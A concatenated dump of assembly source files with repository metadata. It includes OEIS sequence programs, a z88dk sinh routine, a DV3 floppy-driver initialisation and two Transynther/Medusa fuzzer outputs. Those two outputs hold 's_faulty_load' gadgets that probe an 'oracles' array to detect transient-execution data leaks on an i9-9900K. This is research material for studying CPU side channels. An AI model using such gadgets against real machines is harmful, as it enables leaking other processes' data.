; A213563: Antidiagonal sums of the convolution array A213561. ; 1,10,51,182,518,1260,2730,5412,9999,17446,29029,46410,71708,107576,157284,224808,314925,433314,586663,782782,1030722,1340900,1725230,2197260,2772315,3467646,4302585,5298706,6479992,7873008,9507080,11414480,13630617,16194234,19147611,22536774,26411710,30826588,35839986,41515124,47920103,55128150,63217869,72273498,82385172,93649192,106168300,120051960,135416645,152386130,171091791,191672910,214276986,239060052,266186998,295831900,328178355,363419822,401759969,443413026,488604144,537569760,590557968,647828896,709655089,776321898,848127875,925385174,1008419958,1097572812,1193199162,1295669700,1405370815,1522705030,1648091445,1781966186,1924782860,2077013016,2239146612,2411692488,2595178845,2790153730,2997185527,3216863454,3449798066,3696621764,3957989310,4234578348,4527089931,4836249054,5162805193,5507532850,5871232104,6254729168,6658876952,7084555632,7532673225,8004166170,8499999915,9021169510,9568700206,10143648060,10747100546,11380177172,12044030103,12739844790,13468840605,14232271482,15031426564,15867630856,16742245884,17656670360,18612340853,19610732466,20653359519,21741776238,22877577450,24062399284,25297919878,26585860092,27927984227,29326100750,30782063025,32297770050,33875167200,35516246976,37223049760,38997664576,40842229857,42758934218,44750017235,46817770230,48964537062,51192714924,53504755146,55903164004,58390503535,60969392358,63642506501,66412580234,69282406908,72254839800,75332792964,78519242088,81817225357,85229844322,88760264775,92411717630,96187499810,100090975140,104125575246,108294800460,112602220731,117051476542,121646279833,126390414930,131287739480,136342185392,141557759784,146938545936,152488704249,158212473210,164114170363,170198193286,176469020574,182931212828,189589413650,196448350644,203512836423,210787769622,218278135917,225989009050,233925551860,242093017320,250496749580,259142185016,268034853285,277180378386,286584479727,296252973198,306191772250,316406888980,326904435222,337690623644,348771768851,360154288494,371844704385,383849643618,396175839696,408830133664,421819475248,435150924000,448831650449,462868937258,477270180387,492042890262,507194692950,522733331340,538666666330,555002678020,571749466911,588915255110,606508387541,624537333162,643010686188,661937167320,681325624980,701185036552,721524509629,742353283266,763680729239,785516353310,807869796498,830750836356,854169388254,878135506668,902659386475,927751364254,953421919593,979681676402,1006541404232,1034012019600,1062104587320,1090830321840,1120200588585,1150226905306,1180920943435,1212294529446,1244359646222,1277128434428,1310613193890,1344826384980,1379780630007,1415488714614,1451963589181,1489218370234,1527266341860,1566120957128,1605795839516,1646304784344,1687661760213,1729880910450,1772976554559,1816963189678,1861855492042,1907668318452,1954416707750,2002115882300,2050781249475,2100428403150 add $0,2 mov $1,$0 pow $1,5 sub $1,$0 mov $2,$0 add $2,2 mov $3,$2 lpb $0,1 mov $0,2 mul $1,$3 mul $1,7 sub $1,4 lpe div $1,840 add $1,1
160.263158
2,835
0.889984
ae24ada128bbc65226f34d8d42c8d83878175c7d
673
asm
Assembly
libsrc/math/zxmath/sinh.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/math/zxmath/sinh.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
libsrc/math/zxmath/sinh.asm
andydansby/z88dk-MK2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
null
null
null
; ; ; ZX Maths Routines ; ; 21/03/03 - Stefano Bodrato ; ; $Id: sinh.asm,v 1.2 2009/06/22 21:44:17 dom Exp $ ; ;double sinh(double) ; e = exp(x) ; ; return ((e-1.0/e)/2) ; IF FORzx INCLUDE "zxfp.def" ELSE INCLUDE "81fp.def" ENDIF XLIB sinh LIB fsetup1 LIB stkequ .sinh call fsetup1 defb ZXFP_EXP ; and at the beginning exp (x) defb ZXFP_DUPLICATE defb ZXFP_STK_ONE defb ZXFP_EXCHANGE defb ZXFP_DIVISION ; 1/e defb ZXFP_SUBTRACT defb ZXFP_STK_ONE ; STK_TWO :o) defb ZXFP_STK_ONE defb ZXFP_ADDITION defb ZXFP_DIVISION defb ZXFP_END_CALC jp stkequ
14.630435
57
0.600297
07a5d74aea7faa145ead5642fea1ae5066f3bdd7
1,684
asm
Assembly
dv3/atari/fd/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/atari/fd/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/atari/fd/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; DV3 Atari Floppy Disk Initialisation V3.00  1992 Tony Tebby section dv3 xdef fd_init xref.l fd_vers xref.s fd.rev xref dv3_link xref gu_achpp xref gu_rchp include 'dev8_dv3_keys' include 'dev8_dv3_fd_keys' include 'dev8_dv3_mac' include 'dev8_keys_qdos_ioa' include 'dev8_keys_qdos_sms' include 'dev8_keys_sys' include 'dev8_mac_basic' include 'dev8_mac_proc' include 'dev8_mac_assert' include 'dev8_keys_qlv' ;+++ ; DV3 Atari floppy disk initialisation ; ; a3 smashed ;--- fd_init lea fd_proctab,a1 move.w sb.inipr,a2 jsr (a2) ; link in procedures lea fd_table,a3 jmp dv3_link ; link in fd driver fd_table link_table FLP, fd.rev, fdl_end4, ddf_dtop buffered track sectl 128,256,512,1024,2048 mtype ddl.flp density ddf.sd,ddf.dd,ddf.hd poll fd_poll check fd_check direct fd_direct rsect fd_rdirect16 wsect fd_wdirect16 slbfill fd_slbfill slbupd fd_slbupd dflush fd_dflush fflush fd_fflush mformat fd_mformat status fd_fstatus done fd_done thing fd_tname,fd_thing assert fdl_drvs,fdl_actm-1,fdl_rnup-2,fdl_apnd-3 preset_b fdl_drvs, $ff,0,fdl.rnup,fdl.apam assert fdl_maxd,fdl_offd-1,fdl_maxt-2,fdl_defd-4 preset_b fdl_maxd, 2, 0, 0, fdl.maxt, $ff, 0 preset_b fdl_step,3,3,3,3 preset_b fdl_mxdns,ddf.hd ; no higher than HD link_end fdl_buff section exten proc_thg {FLP Control} flp_use proc {USE } flp_sec proc {SEC } flp_start proc {STRT} flp_track proc {TRAK} flp_density proc {DENS} flp_step proc {STEP} fd_proctab proc_stt proc_ref FLP_USE proc_ref FLP_SEC proc_ref FLP_START proc_ref FLP_TRACK proc_ref FLP_DENSITY proc_ref FLP_STEP proc_end proc_stt proc_end end
17.183673
62
0.757126
901b16560bf2913bd7832006d77ea0528036bb9d
476
asm
Assembly
programs/oeis/341/A341522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/341/A341522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/341/A341522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A341522: a(n) = A156552(3*A005940(1+n)). ; 2,5,6,11,10,13,14,23,18,21,22,27,26,29,30,47,34,37,38,43,42,45,46,55,50,53,54,59,58,61,62,95,66,69,70,75,74,77,78,87,82,85,86,91,90,93,94,111,98,101,102,107,106,109,110,119,114,117,118,123,122,125,126,191,130,133,134,139,138,141,142,151,146,149,150,155,154,157,158,175,162,165,166,171,170,173,174,183,178,181,182,187,186,189,190,223,194,197,198,203 mov $1,$0 add $1,1 add $0,$1 mov $2,1 lpb $1 dif $1,2 mul $2,2 lpe add $0,$2
36.615385
350
0.665966
c8128b1389bf6bcf4c0836f75603dc2d9ad86484
656
asm
Assembly
oeis/234/A234869.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/234/A234869.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/234/A234869.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A234869: 3*binomial(11*n+3,n)/(11*n+3). ; Submitted by Jon Maiga ; 1,3,36,595,11385,237006,5212064,119126865,2801765835,67365151700,1648369018296,40914062713953,1027625691201200,26069631471224820,667024542735629400,17193066926119888716,446028709678732029135,11636873606948476550895,305138071497541644423600,8037296035028749786472175,212558914375267195560584331,5642029411558802563065186180,150256138358627287307607678480,4013685735135597456667187581125,107512302766561723067651987282000,2887216915383378331681067899832736,77717930331548507414996219115815568 sub $1,$0 sub $0,$1 mul $0,5 add $0,2 sub $1,1 bin $1,$0 add $0,1 mul $1,3 div $1,$0 mov $0,$1
43.733333
492
0.85061
e085d755a7ec7c0456820bffed080b59d9aadf93
323
asm
Assembly
oeis/256/A256880.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/256/A256880.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/256/A256880.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A256880: n*n!/round(n/2). ; Submitted by Jamie Morken(s4) ; 1,4,9,48,200,1440,8820,80640,653184,7257600,73180800,958003200,11564467200,174356582400,2451889440000,41845579776000,671854030848000,12804747411456000,231125690776780800,4865804016353280000 mov $1,$0 seq $1,256881 ; a(n) = n!/ceiling(n/2). mul $0,$1 add $0,$1
35.888889
191
0.764706
6bf2cd2de81d839dbce486e978dff863516221dc
6,720
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1161.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1925f, %rsi lea addresses_D_ht+0x9871, %rdi nop nop nop nop nop add %r13, %r13 mov $93, %rcx rep movsl dec %rbx lea addresses_D_ht+0x13091, %r10 nop nop nop nop nop and %rsi, %rsi and $0xffffffffffffffc0, %r10 movaps (%r10), %xmm2 vpextrq $1, %xmm2, %rcx nop nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdx // Load lea addresses_D+0xe94e, %rdx nop nop nop nop nop xor %r15, %r15 mov (%rdx), %rbp nop cmp %r15, %r15 // Store lea addresses_UC+0x4cd, %r15 nop nop nop nop nop cmp $35013, %r10 movw $0x5152, (%r15) nop nop xor $59502, %rcx // Store lea addresses_WC+0x10871, %rbp nop cmp %r14, %r14 movl $0x51525354, (%rbp) nop nop nop nop and %rcx, %rcx // Load lea addresses_A+0x19131, %rbp nop nop nop nop nop cmp $51529, %r10 movups (%rbp), %xmm2 vpextrq $1, %xmm2, %rcx nop nop nop nop xor %rdx, %rdx // Store lea addresses_PSE+0xc371, %rbx clflush (%rbx) nop nop and %r15, %r15 mov $0x5152535455565758, %r14 movq %r14, %xmm7 vmovups %ymm7, (%rbx) inc %rbx // Store lea addresses_normal+0x8069, %r10 nop nop xor $22077, %rbp movl $0x51525354, (%r10) nop nop nop sub $37468, %rdx // Store lea addresses_PSE+0x153a1, %r14 nop nop xor $12080, %r15 mov $0x5152535455565758, %rcx movq %rcx, (%r14) nop nop nop nop nop and $7429, %rcx // Load lea addresses_normal+0x8d77, %r14 clflush (%r14) nop nop nop nop dec %rbx mov (%r14), %r15w nop nop and $27349, %rdx // Store lea addresses_PSE+0xc871, %r14 cmp %rcx, %rcx mov $0x5152535455565758, %rbp movq %rbp, %xmm1 movntdq %xmm1, (%r14) xor $39981, %r10 // Faulty Load lea addresses_D+0x17071, %rdx nop nop nop nop nop cmp %rbp, %rbp mov (%rdx), %bx lea oracles, %rcx and $0xff, %rbx shlq $12, %rbx mov (%rcx,%rbx,1), %rbx pop %rdx pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 11}} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
32.780488
2,999
0.653125
37f205a71eea19ba67a33fb016dfd4bd0e6be262
152
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/log1p_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/log1p_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/log1p_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC _log1p_fastcall EXTERN cm48_sdcciy_log1p_fastcall defc _log1p_fastcall = cm48_sdcciy_log1p_fastcall
15.2
49
0.888158
6ce9394a5fdbdf9258478a67a413749a8ebb820b
6,534
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1748.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1748.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_21829_1748.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x17454, %rdx sub %rsi, %rsi movl $0x61626364, (%rdx) nop nop nop nop add $20101, %r13 lea addresses_WT_ht+0x1af54, %r15 nop xor $60641, %rsi movw $0x6162, (%r15) nop nop nop nop add %r15, %r15 lea addresses_WC_ht+0x18854, %rbp cmp %r12, %r12 movups (%rbp), %xmm5 vpextrq $1, %xmm5, %rsi nop nop sub %rax, %rax lea addresses_WC_ht+0x31d4, %r13 nop nop nop cmp %rbp, %rbp movw $0x6162, (%r13) xor %r15, %r15 lea addresses_WC_ht+0xdf55, %rsi lea addresses_normal_ht+0x6354, %rdi nop nop nop nop add %rdx, %rdx mov $70, %rcx rep movsl nop nop nop nop nop xor $17411, %rax lea addresses_WC_ht+0xe90, %rsi lea addresses_UC_ht+0x3354, %rdi nop nop nop xor $16904, %rbp mov $50, %rcx rep movsq nop and %rcx, %rcx lea addresses_WT_ht+0x8dd4, %rbp nop nop nop nop nop cmp $53182, %r15 mov (%rbp), %si nop and $50648, %rsi lea addresses_A_ht+0xc354, %rsi lea addresses_D_ht+0x13e54, %rdi clflush (%rsi) nop nop nop nop xor %r13, %r13 mov $48, %rcx rep movsb nop nop nop nop sub $26550, %rsi lea addresses_UC_ht+0x1b654, %rsi lea addresses_WT_ht+0x1eb4, %rdi clflush (%rsi) and %r12, %r12 mov $119, %rcx rep movsb and %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %rbp push %rbx push %rdx // Store lea addresses_normal+0x17354, %r11 clflush (%r11) nop nop nop nop nop xor $1069, %rdx mov $0x5152535455565758, %rbp movq %rbp, (%r11) nop and $36439, %rbx // Faulty Load lea addresses_normal+0x17354, %rbx nop add $30385, %r12 movb (%rbx), %r11b lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rdx pop %rbx pop %rbp pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}, 'dst': {'same': True, 'type': 'addresses_D_ht', 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
38.210526
2,999
0.65978
80bf2ebb6d53d534b35814d6831a5289f57964e0
464
asm
Assembly
randomly-solved-programs/copying two arrays.asm
informramiz/Assembly-Language-Programs
600d8f737a09ef4c133b686918501fba56dd586e
[ "Apache-2.0" ]
null
null
null
randomly-solved-programs/copying two arrays.asm
informramiz/Assembly-Language-Programs
600d8f737a09ef4c133b686918501fba56dd586e
[ "Apache-2.0" ]
null
null
null
randomly-solved-programs/copying two arrays.asm
informramiz/Assembly-Language-Programs
600d8f737a09ef4c133b686918501fba56dd586e
[ "Apache-2.0" ]
null
null
null
